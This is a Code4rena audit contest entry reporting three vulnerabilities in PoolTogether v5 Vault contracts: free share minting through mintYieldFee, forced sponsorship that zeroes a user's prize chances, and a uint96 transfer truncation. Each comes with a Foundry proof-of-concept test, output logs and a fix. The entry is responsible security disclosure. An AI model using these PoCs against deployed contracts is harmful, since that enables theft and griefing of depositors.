Platform: Code4rena
Start Date: 07/07/2023
Pot Size: $121,650 USDC
Total HM: 36
Participants: 111
Period: 7 days
Judge: Picodes
Total Solo HM: 13
Id: 258
League: ETH
Rank: 51/111
Findings: 3
Award: $181.48
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Udsen
Also found by: 0xMirce, 0xPsuedoPandit, 0xStalin, 0xbepresent, Aymen0909, Bobface, Co0nan, GREY-HAWK-REACH, Jeiwan, John, KupiaSec, LuchoLeonel1, Nyx, Praise, RedTiger, alexweb3, bin2chen, btk, dacian, dirk_y, josephdara, keccak123, ktg, mahdirostami, markus_ether, minhtrng, ni8mare, peanuts, ptsanev, ravikiranweb3, rvierdiiev, seeques, serial-coder, shaka, teawaterwire, wangxx2026, zzzitron
2.2492 USDC - $2.25
Everybody can call the mintYieldFee function in the Vault, when there is _yieldFeeTotalSupply available and mint shares to himself for free, which latter results in stealing funds form the Vault. (if this is a desired behavior, which it shouldn't based on the docs, the function can still be frontrun, and result in a malicious actor minting shares for free)
Everybody can call the mintYieldFee function in the Vault, when there is _yieldFeeTotalSupply which is increased in the liquidate function at https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L550-L587. The liquidator is out of scope for this contest, this is why the _yieldFeeTotalSupply was increased manually. Example: After executing liquidate we have _yieldFeeTotalSupply = 5 * 1e9;
function testMintYieldFee() public { vault.setYieldFeeRecipient(alice); // vault._increaseYieldFeeBalance(5 * 1e9); <== simulates the result of liquidate function call vm.startPrank(alice); console.log('Balance of bob before: ', vault.balanceOf(bob)); console.log('Yield fee total supply: ', vault.yieldFeeTotalSupply()); console.log('Yield Fee Recipient: ', vault.yieldFeeRecipient()); console.log('Bob address: ', bob); vault.mintYieldFee(5000000000, bob); console.log('Yield fee total after: ', vault.yieldFeeTotalSupply()); console.log('Balance of bob after: ', vault.balanceOf(bob)); console.log('Balance of alice after: ', vault.balanceOf(alice)); vm.stopPrank(); }
The result will be:
Logs: Balance of bob before: 0 Yield fee total supply: 5000000000 Yield Fee Recipient: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea Bob address: 0x4dBa461cA9342F4A6Cf942aBd7eacf8AE259108C Yield fee total after: 0 Balance of bob after: 5000000000 Balance of alice after: 0
Manual Review
Add a modifier in the mintYieldFee function that requires the caller or the receiver to be the yieldFeeReceipient_
Access Control
#0 - c4-judge
2023-07-14T22:16:19Z
Picodes marked the issue as duplicate of #406
#1 - c4-judge
2023-08-05T22:05:10Z
Picodes marked the issue as satisfactory
🌟 Selected for report: 0xkasper
Also found by: 0xStalin, 0xbepresent, 3docSec, Aymen0909, Co0nan, GREY-HAWK-REACH, Jeiwan, minhtrng, qpzm
163.3108 USDC - $163.31
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L480-L482 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L982-L994 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L500-L502 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L648-L664
Anyone is able to set other user's delegate
to SPONSORSHIP_ADDRESS
, effectively revoking the user's chances to win.
Scenario:
_amount
of _asset
into a PT Vaultvault.sponsor(0, alice)
The yield from Alice's deposit will still be contributing towards the prize pool, but, as long as her delegate is the SPONSORSHIP_ADDRESS
, her chance to win the prize will stay at zero.
Add to /vault/test/unit/Vault/Deposit.t.sol
function testSponsorForcedSponsorship() external { uint256 _amount = 1e21; vm.startPrank(alice); underlyingAsset.mint(alice, _amount); underlyingAsset.approve(address(vault), type(uint256).max); vault.deposit(_amount,alice); vm.stopPrank(); console.log("Alice's address:",alice); console.log("Alice's current delegate:", twabController.delegateOf(address(vault),alice)); console.log("Bob backruns Alice with vault.sponsor(_assets = 0, _receiver = alice)..."); vm.prank(bob); vault.sponsor(0, alice); console.log("Alice's new delegate:", twabController.delegateOf(address(vault),alice)); }
Output:
Alice's address: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea Alice's current delegate: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea Bob backruns Alice with vault.sponsor(_assets = 0, _receiver = alice)... Alice's new delegate: 0x0000000000000000000000000000000000000001
Foundry
Add access control to Vault's sponsor
function
Access Control
#0 - c4-judge
2023-07-14T23:04:58Z
Picodes marked the issue as duplicate of #393
#1 - c4-judge
2023-08-06T10:30:03Z
Picodes marked the issue as satisfactory
🌟 Selected for report: bin2chen
Also found by: 0x11singh99, 0xWaitress, 0xbepresent, ABAIKUNANBAEV, ArmedGoose, Bauchibred, DadeKuma, GREY-HAWK-REACH, GalloDaSballo, Inspecktor, Jeiwan, Kaysoft, MohammedRizwan, Rolezn, Vagner, alexzoid, alymurtazamemon, ayden, banpaleo5, catellatech, dacian, erebus, eyexploit, fatherOfBlocks, grearlake, joaovwfreire, keccak123, kutugu, lanrebayode77, markus_ether, nadin, naman1778, rvierdiiev, squeaky_cactus, volodya, yixxas
15.9228 USDC - $15.92
amount
as its modulo 2^96, but emits Transfer event with the original amount
value.Add to /vault/test/unit/Vault/Deposit.t.sol
function testLargeTransfer() external { uint256 _amount = 1000e18; vm.startPrank(alice); underlyingAsset.mint(alice, _amount); underlyingAsset.approve(address(vault), type(uint256).max); vault.mint(_amount, alice); console.log("Alice's balance before:", vault.balanceOf(alice)); console.log("Bob's balance before:", vault.balanceOf(bob)); console.log(); console.log("'Transferring' an enormous amount of shares..."); console.log(); uint256 enormousNumber = type(uint256).max - type(uint96).max + 1; vm.expectEmit(); emit Transfer(alice, bob, enormousNumber); vault.transfer(bob, enormousNumber); console.log("Alice's balance after:", vault.balanceOf(alice)); console.log("Bob's balance after:", vault.balanceOf(bob)); }
Output:
Alice's balance before: 1000000000000000000000 Bob's balance before: 0 'Transferring' an enormous amount of shares... Alice's balance after: 999999999999999999999 Bob's balance after: 1 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.95ms
#0 - c4-judge
2023-07-18T19:12:22Z
Picodes marked the issue as grade-b